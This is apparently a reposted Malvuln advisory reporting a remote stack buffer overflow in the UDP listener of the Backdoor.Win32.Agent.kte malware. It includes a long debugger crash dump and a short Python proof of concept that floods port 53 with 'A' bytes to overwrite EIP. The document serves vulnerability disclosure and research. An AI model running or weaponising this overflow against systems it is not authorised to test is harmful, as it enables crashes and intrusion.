Sunday, May 2, 2021

Backdoor.Win32.Agent.kte Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/7c92e59e776355734781bbf05571d0f0.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.kte
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers.
Type: PE32
MD5: 7c92e59e776355734781bbf05571d0f0
Vuln ID: MVID-2021-0195
Dropped files: aspimgr.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(190c.19fc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03131450 ebp=03131470 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:006> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for aspimgr.exe
*** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
aspimgr+63f9
004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD: 0322e124 -- (.exr 0x322e124)
ExceptionAddress: 004063f9 (aspimgr+0x000063f9)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 03230000
Attempt to read from address 03230000

PROCESS_NAME: aspimgr.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
aspimgr+63f9
004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

FAILED_INSTRUCTION_ADDRESS:
+63f9
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0322e174 -- (.cxr 0x322e174)
eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0322fffd edi=0322e7a8
eip=004063f9 esp=0322e5d4 ebp=0322ede4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
aspimgr+0x63f9:
004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 0040665f to 004063f9

STACK_TEXT:
0322e5d4 004063f9 aspimgr+0x63f9
0322edec 0040665f aspimgr+0x665f
0322ff44 41414141 unknown!printable+0x0
0322ff48 41414141 unknown!printable+0x0
0322ff4c 41414141 unknown!printable+0x0
0322ff50 41414141 unknown!printable+0x0
0322ff54 41414141 unknown!printable+0x0
0322ff58 41414141 unknown!printable+0x0
0322ff5c 41414141 unknown!printable+0x0
0322ff60 41414141 unknown!printable+0x0
0322ff64 41414141 unknown!printable+0x0
0322ff68 41414141 unknown!printable+0x0
0322ff6c 41414141 unknown!printable+0x0
0322ff70 41414141 unknown!printable+0x0
0322ff74 41414141 unknown!printable+0x0
0322ff78 41414141 unknown!printable+0x0
0322ff7c 41414141 unknown!printable+0x0
0322ff80 41414141 unknown!printable+0x0
0322ff84 41414141 unknown!printable+0x0
0322ff88 41414141 unknown!printable+0x0
0322ff8c 41414141 unknown!printable+0x0
0322ff90 41414141 unknown!printable+0x0
0322ff94 41414141 unknown!printable+0x0
0322ff98 41414141 unknown!printable+0x0
0322ff9c 41414141 unknown!printable+0x0
0322ffa0 41414141 unknown!printable+0x0
0322ffa4 41414141 unknown!printable+0x0
0322ffa8 41414141 unknown!printable+0x0
0322ffac 41414141 unknown!printable+0x0
0322ffb0 41414141 unknown!printable+0x0
0322ffb4 41414141 unknown!printable+0x0
0322ffb8 41414141 unknown!printable+0x0
0322ffbc 41414141 unknown!printable+0x0
0322ffc0 41414141 unknown!printable+0x0
0322ffc4 41414141 unknown!printable+0x0
0322ffc8 41414141 unknown!printable+0x0
0322ffcc 41414141 unknown!printable+0x0
0322ffd0 41414141 unknown!printable+0x0
0322ffd4 41414141 unknown!printable+0x0
0322ffd8 41414141 unknown!printable+0x0
0322ffdc 41414141 unknown!printable+0x0
0322ffe0 41414141 unknown!printable+0x0
0322ffe4 41414141 unknown!printable+0x0
0322ffe8 41414141 unknown!printable+0x0
0322ffec 41414141 unknown!printable+0x0
0322fff0 41414141 unknown!printable+0x0
0322fff4 41414141 unknown!printable+0x0
0322fff8 41414141 unknown!printable+0x0
0322fffc 41414141 unknown!printable+0x0
03230000 41414141 unknown!printable+0x0


STACK_COMMAND: .cxr 000000000322E174 ; kb ; dds 322e5d4 ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: aspimgr+63f9

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: aspimgr

IMAGE_NAME: aspimgr.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 4827e4c0

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+63f9


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=53

def doit():

s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))

PBARBAR = "A"*6415

s.send(PBARBAR)
s.close()

print("Backdoor.Win32.Agent.kte / Remote Stack Buffer Overflow (UDP)")
print("MD5: 7c92e59e776355734781bbf05571d0f0")
print("Malvuln")


if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated